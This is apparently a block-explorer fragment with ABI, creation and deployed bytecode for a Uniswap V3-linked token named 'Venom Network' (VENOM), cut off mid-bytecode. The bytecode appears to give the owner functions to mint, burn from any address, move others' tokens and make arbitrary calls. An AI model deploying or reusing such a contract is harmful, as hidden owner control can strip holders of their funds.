"uniswapV3SwapCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e060405234801562000010575f80fd5b50604051620034803803806200348083398101604081905262000033916200059e565b5f80546001600160a01b0319163317905583838383838383600362000059848262000702565b50600462000068838262000702565b506001600160a01b03811660808190526200008690305f19620003c1565b5f6080516001600160a01b03166377356cd26040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000c6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000ec9190620007ca565b90505f5b81811015620002845760805160405163143781ad60e11b8152600481018390525f916001600160a01b03169063286f035a906024015f60405180830381865afa15801562000140573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620001699190810190620007e2565b9050805f01516001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83602001518460400151620001b9919062000935565b60405190815260200160405180910390a35f5b8160800151518110156200026c575f82608001518281518110620001f457620001f462000951565b60200260200101519050805f01516001600160a01b0316835f01516001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583602001516040516200024e91815260200190565b60405180910390a35080620002638162000965565b915050620001cc565b505080806200027b9062000965565b915050620000f0565b50508351602085015160405163a167129560e01b81523060048201526001600160a01b0391821660248201526101f460448201529194508416925063a167129591506064016020604051808303815f875af1158015620002e6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200030c919062000980565b6001600160a01b0390811660a0819052604084810151905163f637731d60e01b8152921660048301529063f637731d906024015f604051808303815f87803b15801562000357575f80fd5b505af11580156200036a573d5f803e3d5ffd5b50505060208301516001600160a01b0390811660c0526040840151600580549190921661010002610100600160a81b03199091161790555060a051620003b2905f1962000425565b505050505050505050620009a5565b6040516343e3581760e11b81526001600160a01b038381166004830152602482018390528416906387c6b02e906044015f604051808303815f87803b15801562000409575f80fd5b505af11580156200041c573d5f803e3d5ffd5b50505050505050565b6080516200043e906001600160a01b03168383620003c1565b5050565b634e487b7160e01b5f52604160045260245ffd5b604051606081016001600160401b03811182821017156200047b576200047b62000442565b60405290565b60405160a081016001600160401b03811182821017156200047b576200047b62000442565b604080519081016001600160401b03811182821017156200047b576200047b62000442565b604051601f8201601f191681016001600160401b0381118282101715620004f657620004f662000442565b604052919050565b5f82601f8301126200050e575f80fd5b81516001600160401b038111156200052a576200052a62000442565b602062000540601f8301601f19168201620004cb565b828152858284870101111562000554575f80fd5b5f5b838110156200057357858101830151828201840152820162000556565b505f928101909101919091529392505050565b6001600160a01b03811681146200059b575f80fd5b50565b5f805f8084860360c0811215620005b3575f80fd5b85516001600160401b0380821115620005ca575f80fd5b620005d889838a01620004fe565b96506020880151915080821115620005ee575f80fd5b50620005fd88828901620004fe565b9450506040860151620006108162000586565b92506060605f198201121562000624575f80fd5b506200062f62000456565b60608601516200063f8162000586565b81526080860151620006518162000586565b602082015260a0860151620006668162000586565b6040820152939692955090935050565b600181811c908216806200068b57607f821691505b602082108103620006aa57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620006fd575f81815260208120601f850160051c81016020861015620006d85750805b601f850160051c820191505b81811015620006f957828155600101620006e4565b5050505b505050565b81516001600160401b038111156200071e576200071e62000442565b62000736816200072f845462000676565b84620006b0565b602080601f8311600181146200076c575f8415620007545750858301515b5f19600386901b1c1916600185901b178555620006f9565b5f85815260208120601f198616915b828110156200079c578886015182559484019460019091019084016200077b565b5085821015620007ba57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f60208284031215620007db575f80fd5b5051919050565b5f6020808385031215620007f4575f80fd5b82516001600160401b03808211156200080b575f80fd5b9084019060a082870312156200081f575f80fd5b6200082962000481565b8251620008368162000586565b81528284015184820152604080840151818301526060808501519083015260808401518381111562000866575f80fd5b80850194505087601f8501126200087b575f80fd5b83518381111562000890576200089062000442565b620008a0868260051b01620004cb565b818152868101945060069190911b850186019089821115620008c0575f80fd5b948601945b818610156200090f5782868b031215620008de575f8081fd5b620008e8620004a6565b8651620008f58162000586565b8152868801518882015285529482019493860193620008c5565b60808401525090979650505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200094b576200094b62000921565b92915050565b634e487b7160e01b5f52603260045260245ffd5b5f6001820162000979576200097962000921565b5060010190565b5f6020828403121562000991575f80fd5b81516200099e8162000586565b9392505050565b60805160a05160c0516129ec62000a945f395f8181610a1e01528181610aa501528181610cff01528181610e4801528181610fee01528181611213015281816117d601528181611a0b0152611b4501525f81816103b00152818161094201528181610cd301528181610e1c01528181610f490152818161118b015281816112bb0152818161137d015281816116a30152818161174e0152818161191e01528181611abd0152611f9d01525f818161028a015281816105f601528181610637015281816106bb01528181610b39015281816111070152818161184a0152818161188701526120a801526129ec5ff3fe608060405260043610610164575f3560e01c806395d89b41116100cd578063d2de6ec511610087578063e1f21c6711610062578063e1f21c6714610450578063e7d612e31461046f578063ec152ef01461048e578063fa461e33146104ad575f80fd5b8063d2de6ec5146103f3578063d348799714610412578063dd62ed3e14610431575f80fd5b806395d89b41146103315780639dc29fac14610345578063a253421d14610364578063a9059cbb14610383578063b5fba636146103a2578063beabacc8146103d4575f80fd5b8063313ce5671161011e578063313ce5671461026157806332e79dcf1461027c57806340c10f19146102c257806370a08231146102e157806376be306c146103005780638da5cb5b14610314575f80fd5b806306fdde031461016f57806309233a7314610199578063095ea7b3146101ba57806315515da6146101e957806318160ddd1461022057806323b872dd14610242575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104cc565b60405161019091906121a2565b60405180910390f35b3480156101a4575f80fd5b506101b86101b33660046121c8565b61055c565b005b3480156101c5575f80fd5b506101d96101d43660046121e3565b610586565b6040519015158152602001610190565b3480156101f4575f80fd5b5061020861020336600461220d565b61059d565b6040516001600160801b039091168152602001610190565b34801561022b575f80fd5b506102346105f0565b604051908152602001610190565b34801561024d575f80fd5b506101d961025c366004612224565b610628565b34801561026c575f80fd5b5060405160128152602001610190565b348015610287575f80fd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040516001600160a01b039091168152602001610190565b3480156102cd575f80fd5b506101b86102dc3660046121e3565b610676565b3480156102ec575f80fd5b506102346102fb3660046121c8565b6106ad565b34801561030b575f80fd5b506102346106e1565b34801561031f575f80fd5b506001546001600160a01b03166102aa565b34801561033c575f80fd5b506101836106f2565b348015610350575f80fd5b506101b861035f3660046121e3565b610701565b34801561036f575f80fd5b5061020861037e36600461220d565b61075c565b34801561038e575f80fd5b506101d961039d3660046121e3565b61079b565b3480156103ad575f80fd5b507f00000000000000000000000000000000000000000000000000000000000000006102aa565b3480156103df575f80fd5b506101b86103ee366004612224565b6107a8565b3480156103fe575f80fd5b506101b861040d366004612262565b610805565b34801561041d575f80fd5b506101b861042c3660046122d0565b610937565b34801561043c575f80fd5b5061023461044b36600461231f565b610b2b565b34801561045b575f80fd5b506101b861046a366004612224565b610b60565b34801561047a575f80fd5b506101b8610489366004612356565b610b93565b348015610499575f80fd5b506102346104a8366004612396565b610c03565b3480156104b8575f80fd5b506101b86104c73660046122d0565b610f3e565b6060600380546104db906123b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610507906123b6565b80156105525780601f1061052957610100808354040283529160200191610552565b820191905f5260205f20905b81548152906001019060200180831161053557829003601f168201915b5050505050905090565b610564611058565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b5f33610593818585611098565b9150505b92915050565b5f6105a6611058565b43600254036105d05760405162461bcd60e51b81526004016105c7906123ee565b60405180910390fd5b6105d982611187565b90506105e5813361127e565b505043600255919050565b5f6106237f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316611461565b905090565b5f3361065f6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168683866114c2565b5061066b85858561153d565b9150505b9392505050565b61067e611058565b5f61068983836115b2565b9050806106a85760405162461bcd60e51b81526004016105c79061240a565b505050565b5f6105976001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016836115f9565b5f6106236106ed611664565b61174a565b6060600480546104db906123b6565b610709611058565b815f6107148261183c565b9050610721825f1961187a565b5f61072c85856118b2565b90508061074b5760405162461bcd60e51b81526004016105c79061240a565b50610756828261187a565b50505050565b5f610765611058565b43600254036107865760405162461bcd60e51b81526004016105c7906123ee565b61078f82611187565b90506105e58133611918565b5f3361059381858561153d565b6107b0611058565b825f6107bb8261183c565b90506107c8825f1961187a565b5f6107d486868661153d565b9050806107f35760405162461bcd60e51b81526004016105c79061240a565b506107fe828261187a565b5050505050565b61080d611058565b6005546040513060601b6bffffffffffffffffffffffff19166020820152600160a81b90910460f01b6001600160f01b03191660348201525f90603601604051602081830303815290604052805190602001205f1c90505b60408051602080820184905281830187905282518083038401815260609092019092528051910120808061ffff81165f036108a857806108a48161243a565b9150505b5f61ffff8281166108b9898961245a565b6108c3919061246d565b6108cd9190612498565b6108d790886124ab565b90506108e383826115b2565b5050505050836108f2906124be565b9350835f036108655760058054600160a81b900461ffff169060156109168361243a565b91906101000a81548161ffff021916908361ffff1602179055505050505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109945760405162461bcd60e51b8152602060048201526002602482015261554360f01b60448201526064016105c7565b335f806109a187876119ff565b909250905081156109d3576005805460ff191660011790556109c383836115b2565b5060055460ff16156109d3575f80fd5b8015610b22575f6109e6858701876121c8565b9050306001600160a01b03821603610a8e5760405163a9059cbb60e01b81526001600160a01b038581166004830152602482018490527f0000000000000000000000000000000000000000000000000000000000000000169063a9059cbb906044016020604051808303815f875af1158015610a64573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a8891906124e7565b50610b20565b6040516323b872dd60e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906323b872dd90610ade90849088908790600401612500565b6020604051808303815f875af1158015610afa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1e91906124e7565b505b505b50505050505050565b5f61066f6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168484611a46565b610b68611058565b5f610b74848484611098565b9050806107565760405162461bcd60e51b81526004016105c79061240a565b610b9b611058565b5f846001600160a01b0316848484604051610bb7929190612524565b5f6040518083038185875af1925050503d805f8114610bf1576040519150601f19603f3d011682016040523d82523d5f602084013e610bf6565b606091505b50509050806107fe575f80fd5b5f610c0c611058565b4360025403610c2d5760405162461bcd60e51b81526004016105c7906123ee565b61270f198260010b138015610c4657506127108260010b125b8015610c5557508160010b5f14155b610c865760405162461bcd60e51b81526020600482015260026024820152614b4f60f01b60448201526064016105c7565b5f8260010b1315610dd5575f6127108361ffff16610ca2611664565b610cac9190612533565b610cb6919061255e565b90505f610cc3823061127e565b91505f9050806001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169063128acb089030907f00000000000000000000000000000000000000000000000000000000000000001681118681610d415773fff6fbe64b68d618d47c209fe40b0d8ee6e23c91610d48565b64010009046c5b6040518563ffffffff1660e01b8152600401610d679493929190612583565b60408051808303815f875af1158015610d82573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610da691906125bc565b915091505f610db583836119ff565b509050610dca30610dc5836125de565b6118b2565b505050505050610f24565b5f612710610de2846125f8565b61ffff16610dee611664565b610df89190612533565b610e02919061255e565b90505f610e0e82611ab9565b90505f806001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169063128acb089030907f00000000000000000000000000000000000000000000000000000000000000001681108681610e8a5773fff6fbe64b68d618d47c209fe40b0d8ee6e23c91610e91565b64010009046c5b6040518563ffffffff1660e01b8152600401610eb09493929190612583565b60408051808303815f875af1158015610ecb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eef91906125bc565b915091505f610efe83836119ff565b915050610f1c610f1682610f11906125de565b611187565b30611918565b505050505050505b50506005544360025561010090046001600160a01b031690565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f9b5760405162461bcd60e51b8152602060048201526002602482015261554360f01b60448201526064016105c7565b335f80610fa887876119ff565b915091505f821315610fc057610fbe83836115b2565b505b5f811315610b225760405163a9059cbb60e01b81526001600160a01b038481166004830152602482018390527f0000000000000000000000000000000000000000000000000000000000000000169063a9059cbb906044016020604051808303815f875af1158015611034573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2091906124e7565b5f546001600160a01b031633146110965760405162461bcd60e51b81526020600482015260026024820152614e4f60f01b60448201526064016105c7565b565b5f6001600160a01b0384166110d45760405162461bcd60e51b8152602060048201526002602482015261494f60f01b60448201526064016105c7565b6001600160a01b0383166110fa5760405162461bcd60e51b81526004016105c790612617565b61112f6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016858585611bab565b50826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161117591815260200190565b60405180910390a35060019392505050565b5f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa1580156111e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112099190612644565b50505050505090507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316306001600160a01b03161061126e576112698173fff6fbe64b68d618d47c209fe40b0d8ee6e23c9185611bdd565b61066f565b61066f64010009046c8285611c3d565b60405163a34123a760e01b8152620d89e5196004820152620d89e660248201526001600160801b03831660448201525f9081906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063a34123a79060640160408051808303815f875af1158015611300573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132491906125bc565b50506005805460ff191660011790556040516309e3d67b60e31b81526001600160a01b038481166004830152620d89e5196024830152620d89e660448301526001600160801b036064830181905260848301525f9182917f00000000000000000000000000000000000000000000000000000000000000001690634f1eb3d89060a40160408051808303815f875af11580156113c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113e691906126ed565b600554919350915060ff16156113fa575f80fd5b611416826001600160801b0316826001600160801b03166119ff565b90945092508361144d5760405162461bcd60e51b8152602060048201526002602482015261139560f21b60448201526064016105c7565b61145785856118b2565b5050509250929050565b5f816001600160a01b03166309255f3f6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561149e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610597919061271e565b604051634453dd1560e11b81525f906001600160a01b038616906388a7ba2a906114f490879087908790600401612500565b6020604051808303815f875af1158015611510573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061153491906124e7565b95945050505050565b5f6001600160a01b0384166115645760405162461bcd60e51b81526004016105c790612617565b6001600160a01b03831661159f5760405162461bcd60e51b815260206004820152600260248201526124a960f11b60448201526064016105c7565b6115aa848484611c6f565b949350505050565b5f6001600160a01b0383166115ee5760405162461bcd60e51b815260206004820152600260248201526124a960f11b60448201526064016105c7565b61066f5f8484611c6f565b60405163700c2aeb60e11b81526001600160a01b0382811660048301525f919084169063e01855d690602401602060405180830381865afa158015611640573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f919061271e565b6040516bffffffffffffffffffffffff193060601b16602082015262793b0d60e91b60348201526206c4f360e91b60378201525f906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063514ea4bf90603a01604051602081830303815290604052805190602001206040518263ffffffff1660e01b815260040161170191815260200190565b60a060405180830381865afa15801561171c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117409190612735565b5092949350505050565b5f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa1580156117a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117cc9190612644565b50505050505090507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316306001600160a01b03161061182c576112698173fff6fbe64b68d618d47c209fe40b0d8ee6e23c9185611c7b565b61066f64010009046c8285611ced565b5f6118706001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001683611d36565b6060015192915050565b6118ae6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168383611dd7565b5050565b5f6001600160a01b0383166118d95760405162461bcd60e51b81526004016105c790612617565b5f821161190d5760405162461bcd60e51b81526020600482015260026024820152615a4160f01b60448201526064016105c7565b61066f835f84611c6f565b5f805f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633c8a7d8d30620d89e519620d89e68a8a60405160200161197691906001600160a01b0391909116815260200190565b6040516020818303038152906040526040518663ffffffff1660e01b81526004016119a5959493929190612788565b60408051808303815f875af11580156119c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119e491906125bc565b915091506119f282826119ff565b9097909650945050505050565b5f806001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000163010611a38578284611a3b565b83835b909590945092505050565b604051630d2d24bb60e31b81526001600160a01b03838116600483015282811660248301525f919085169063696925d890604401602060405180830381865afa158015611a95573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115aa919061271e565b5f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa158015611b17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b3b9190612644565b50505050505090507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316306001600160a01b031610611b8c5761126964010009046c8285611ced565b61066f8173fff6fbe64b68d618d47c209fe40b0d8ee6e23c9185611c7b565b60405163b93be2a960e01b81525f906001600160a01b0386169063b93be2a9906114f490879087908790600401612500565b5f826001600160a01b0316846001600160a01b03161115611bfc579192915b5f611c1e856001600160a01b0316856001600160a01b0316600160601b611e30565b905061066b8382611c2f88886127d4565b6001600160a01b0316611e30565b5f826001600160a01b0316846001600160a01b03161115611c5c579192915b6115aa82600160601b611c2f87876127d4565b5f6115aa848484611ed6565b5f826001600160a01b0316846001600160a01b03161115611c9a579192915b6001600160a01b038416611ce36fffffffffffffffffffffffffffffffff60601b606085901b16611ccb87876127d4565b6001600160a01b0316866001600160a01b0316611e30565b6115aa9190612498565b5f826001600160a01b0316846001600160a01b03161115611d0c579192915b6115aa6001600160801b038316611d2386866127d4565b6001600160a01b0316600160601b611e30565b611d6d6040518060a001604052805f6001600160a01b031681526020015f81526020015f81526020015f8152602001606081525090565b60405163cacdf77d60e01b81526001600160a01b03838116600483015284169063cacdf77d906024015f60405180830381865afa158015611db0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405261066f919081019061288c565b6040516343e3581760e11b81526001600160a01b038381166004830152602482018390528416906387c6b02e906044015f604051808303815f87803b158015611e1e575f80fd5b505af1158015610b22573d5f803e3d5ffd5b5f80805f19858709858702925082811083820303915050805f03611e64575f8411611e59575f80fd5b50829004905061066f565b808411611e6f575f80fd5b5f8486880960026001871981018816978890046003810283188082028403028082028403028082028403028082028403028082028403029081029092039091025f889003889004909101858311909403939093029303949094049190911702949350505050565b5f4360025403611ef85760405162461bcd60e51b81526004016105c7906123ee565b611f0184611f15565b611f0a83611f15565b6115aa848484612099565b6001600160a01b0381163b1580611f3457506001600160a01b03811630145b15611f3c5750565b806001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa925050508015611f96575060408051601f3d908101601f19168201909252611f9391810190612644565b60015b15612096577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b0316146120015760405162461bcd60e51b8152602060048201526002602482015261055560f41b60448201526064016105c7565b6005546001600160a01b0388811661010090920416146120405760058054610100600160a81b0319166101006001600160a01b038a1602179055610b20565b60055460ff166120775760405162461bcd60e51b81526020600482015260026024820152614e4160f01b60448201526064016105c7565b50506005805460ff19811660ff9182165f190190911617905550505050505b50565b5f806120d06001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001686868661212d565b905080156115aa57836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161211d91815260200190565b60405180910390a3949350505050565b604051630450c94160e11b81525f906001600160a01b038616906308a19282906114f490879087908790600401612500565b5f81518084525f5b8181101561218357602081850181015186830182015201612167565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f61066f602083018461215f565b6001600160a01b0381168114612096575f80fd5b5f602082840312156121d8575f80fd5b813561066f816121b4565b5f80604083850312156121f4575f80fd5b82356121ff816121b4565b946020939093013593505050565b5f6020828403121561221d575f80fd5b5035919050565b5f805f60608486031215612236575f80fd5b8335612241816121b4565b92506020840135612251816121b4565b929592945050506040919091013590565b5f805f60608486031215612274575f80fd5b505081359360208301359350604090920135919050565b5f8083601f84011261229b575f80fd5b50813567ffffffffffffffff8111156122b2575f80fd5b6020830191508360208285010111156122c9575f80fd5b9250929050565b5f805f80606085870312156122e3575f80fd5b8435935060208501359250604085013567ffffffffffffffff811115612307575f80fd5b6123138782880161228b565b95989497509550505050565b5f8060408385031215612330575f80fd5b823561233b816121b4565b9150602083013561234b816121b4565b809150509250929050565b5f805f8060608587031215612369575f80fd5b8435612374816121b4565b935060208501359250604085013567ffffffffffffffff811115612307575f80fd5b5f602082840312156123a6575f80fd5b81358060010b811461066f575f80fd5b600181811c908216806123ca57607f821691505b6020821081036123e857634e487b7160e01b5f52602260045260245ffd5b50919050565b602080825260029082015261109360f21b604082015260600190565b602080825260029082015261222360f11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f61ffff80831681810361245057612450612426565b6001019392505050565b8181038181111561059757610597612426565b808202811582820484141761059757610597612426565b634e487b7160e01b5f52601260045260245ffd5b5f826124a6576124a6612484565b500490565b8082018082111561059757610597612426565b5f816124cc576124cc612426565b505f190190565b805180151581146124e2575f80fd5b919050565b5f602082840312156124f7575f80fd5b61066f826124d3565b6001600160a01b039384168152919092166020820152604081019190915260600190565b818382375f9101908152919050565b6001600160801b0381811683821602808216919082811461255657612556612426565b505092915050565b5f6001600160801b038084168061257757612577612484565b92169190910492915050565b6001600160a01b03948516815292151560208401526040830191909152909116606082015260a0608082018190525f9082015260c00190565b5f80604083850312156125cd575f80fd5b505080516020909101519092909150565b5f600160ff1b82016125f2576125f2612426565b505f0390565b5f8160010b617fff19810361260f5761260f612426565b5f0392915050565b602080825260029082015261495360f01b604082015260600190565b805161ffff811681146124e2575f80fd5b5f805f805f805f60e0888a03121561265a575f80fd5b8751612665816121b4565b8097505060208801518060020b811461267c575f80fd5b955061268a60408901612633565b945061269860608901612633565b93506126a660808901612633565b925060a088015160ff811681146126bb575f80fd5b91506126c960c089016124d3565b905092959891949750929550565b80516001600160801b03811681146124e2575f80fd5b5f80604083850312156126fe575f80fd5b612707836126d7565b9150612715602084016126d7565b90509250929050565b5f6020828403121561272e575f80fd5b5051919050565b5f805f805f60a08688031215612749575f80fd5b612752866126d7565b9450602086015193506040860151925061276e606087016126d7565b915061277c608087016126d7565b90509295509295909350565b60018060a01b03861681528460020b60208201528360020b60408201526001600160801b038316606082015260a060808201525f6127c960a083018461215f565b979650505050505050565b6001600160a01b038281168282160390808211156127f4576127f4612426565b5092915050565b634e487b7160e01b5f52604160045260245ffd5b60405160a0810167ffffffffffffffff81118282101715612832576128326127fb565b60405290565b6040805190810167ffffffffffffffff81118282101715612832576128326127fb565b604051601f8201601f1916810167ffffffffffffffff81118282101715612884576128846127fb565b604052919050565b5f602080838503121561289d575f80fd5b825167ffffffffffffffff808211156128b4575f80fd5b9084019060a082870312156128c7575f80fd5b6128cf61280f565b82516128da816121b4565b815282840151848201526040808401518183015260608085015190830152608084015183811115612909575f80fd5b80850194505087601f85011261291d575f80fd5b83518381111561292f5761292f6127fb565b61293d868260051b0161285b565b818152868101945060069190911b85018601908982111561295c575f80fd5b948601945b818610156129a45782868b031215612978575f8081fd5b612980612838565b865161298b816121b4565b8152868801518882015285529482019493860193612961565b6080840152509097965050505050505056fea2646970667358221220b4503cfb9e0785d8abef4e05c1c5c36dba9e199724fc6d7b9e1fbc9291fafbc364736f6c6343000814003300000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f9010000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f984000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000001768669a1213cc725dbfa8000000000000000000000000000000000000000000000000000000000000000d56656e6f6d204e6574776f726b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000556454e4f4d000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405260043610610164575f3560e01c806395d89b41116100cd578063d2de6ec511610087578063e1f21c6711610062578063e1f21c6714610450578063e7d612e31461046f578063ec152ef01461048e578063fa461e33146104ad575f80fd5b8063d2de6ec5146103f3578063d348799714610412578063dd62ed3e14610431575f80fd5b806395d89b41146103315780639dc29fac14610345578063a253421d14610364578063a9059cbb14610383578063b5fba636146103a2578063beabacc8146103d4575f80fd5b8063313ce5671161011e578063313ce5671461026157806332e79dcf1461027c57806340c10f19146102c257806370a08231146102e157806376be306c146103005780638da5cb5b14610314575f80fd5b806306fdde031461016f57806309233a7314610199578063095ea7b3146101ba57806315515da6146101e957806318160ddd1461022057806323b872dd14610242575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104cc565b60405161019091906121a2565b60405180910390f35b3480156101a4575f80fd5b506101b86101b33660046121c8565b61055c565b005b3480156101c5575f80fd5b506101d96101d43660046121e3565b610586565b6040519015158152602001610190565b3480156101f4575f80fd5b5061020861020336600461220d565b61059d565b6040516001600160801b039091168152602001610190565b34801561022b575f80fd5b506102346105f0565b604051908152602001610190565b34801561024d575f80fd5b506101d961025c366004612224565b610628565b34801561026c575f80fd5b5060405160128152602001610190565b348015610287575f80fd5b507f000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f9015b6040516001600160a01b039091168152602001610190565b3480156102cd575f80fd5b506101b86102dc3660046121e3565b610676565b3480156102ec575f80fd5b506102346102fb3660046121c8565b6106ad565b34801561030b575f80fd5b506102346106e1565b34801561031f575f80fd5b506001546001600160a01b03166102aa565b34801561033c575f80fd5b506101836106f2565b348015610350575f80fd5b506101b861035f3660046121e3565b610701565b34801561036f575f80fd5b5061020861037e36600461220d565b61075c565b34801561038e575f80fd5b506101d961039d3660046121e3565b61079b565b3480156103ad575f80fd5b507f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c6102aa565b3480156103df575f80fd5b506101b86103ee366004612224565b6107a8565b3480156103fe575f80fd5b506101b861040d366004612262565b610805565b34801561041d575f80fd5b506101b861042c3660046122d0565b610937565b34801561043c575f80fd5b5061023461044b36600461231f565b610b2b565b34801561045b575f80fd5b506101b861046a366004612224565b610b60565b34801561047a575f80fd5b506101b8610489366004612356565b610b93565b348015610499575f80fd5b506102346104a8366004612396565b610c03565b3480156104b8575f80fd5b506101b86104c73660046122d0565b610f3e565b6060600380546104db906123b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610507906123b6565b80156105525780601f1061052957610100808354040283529160200191610552565b820191905f5260205f20905b81548152906001019060200180831161053557829003601f168201915b5050505050905090565b610564611058565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b5f33610593818585611098565b9150505b92915050565b5f6105a6611058565b43600254036105d05760405162461bcd60e51b81526004016105c7906123ee565b60405180910390fd5b6105d982611187565b90506105e5813361127e565b505043600255919050565b5f6106237f000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f9016001600160a01b0316611461565b905090565b5f3361065f6001600160a01b037f000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f901168683866114c2565b5061066b85858561153d565b9150505b9392505050565b61067e611058565b5f61068983836115b2565b9050806106a85760405162461bcd60e51b81526004016105c79061240a565b505050565b5f6105976001600160a01b037f000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f90116836115f9565b5f6106236106ed611664565b61174a565b6060600480546104db906123b6565b610709611058565b815f6107148261183c565b9050610721825f1961187a565b5f61072c85856118b2565b90508061074b5760405162461bcd60e51b81526004016105c79061240a565b50610756828261187a565b50505050565b5f610765611058565b43600254036107865760405162461bcd60e51b81526004016105c7906123ee565b61078f82611187565b90506105e58133611918565b5f3361059381858561153d565b6107b0611058565b825f6107bb8261183c565b90506107c8825f1961187a565b5f6107d486868661153d565b9050806107f35760405162461bcd60e51b81526004016105c79061240a565b506107fe828261187a565b5050505050565b61080d611058565b6005546040513060601b6bffffffffffffffffffffffff19166020820152600160a81b90910460f01b6001600160f01b03191660348201525f90603601604051602081830303815290604052805190602001205f1c90505b60408051602080820184905281830187905282518083038401815260609092019092528051910120808061ffff81165f036108a857806108a48161243a565b9150505b5f61ffff8281166108b9898961245a565b6108c3919061246d565b6108cd9190612498565b6108d790886124ab565b90506108e383826115b2565b5050505050836108f2906124be565b9350835f036108655760058054600160a81b900461ffff169060156109168361243a565b91906101000a81548161ffff021916908361ffff1602179055505050505050565b336001600160a01b037f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c16146109945760405162461bcd60e51b8152602060048201526002602482015261554360f01b60448201526064016105c7565b335f806109a187876119ff565b909250905081156109d3576005805460ff191660011790556109c383836115b2565b5060055460ff16156109d3575f80fd5b8015610b22575f6109e6858701876121c8565b9050306001600160a01b03821603610a8e5760405163a9059cbb60e01b81526001600160a01b038581166004830152602482018490527f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2169063a9059cbb906044016020604051808303815f875af1158015610a64573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a8891906124e7565b50610b20565b6040516323b872dd60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216906323b872dd90610ade90849088908790600401612500565b6020604051808303815f875af1158015610afa573d5f803e3d5ffd5b50505050604051